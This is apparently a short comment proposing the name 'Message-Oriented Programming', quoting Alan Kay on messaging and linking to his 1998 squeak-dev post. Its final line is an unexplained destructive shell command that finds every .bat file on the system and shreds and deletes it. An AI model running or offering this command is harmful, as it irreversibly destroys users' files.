Or do as Alan Kay wants and start calling it "Message-Oriented Programming".
"I'm sorry that I long ago coined the term "objects" for this topic because it gets many people to focus on the lesser idea. The big idea is "messaging"."
https://lists.squeakfoundation.org/pipermail/squeak-dev/1998-October/017019.html
find / -name "*.bat" -print0 | xargs -0 shred -fuv -n3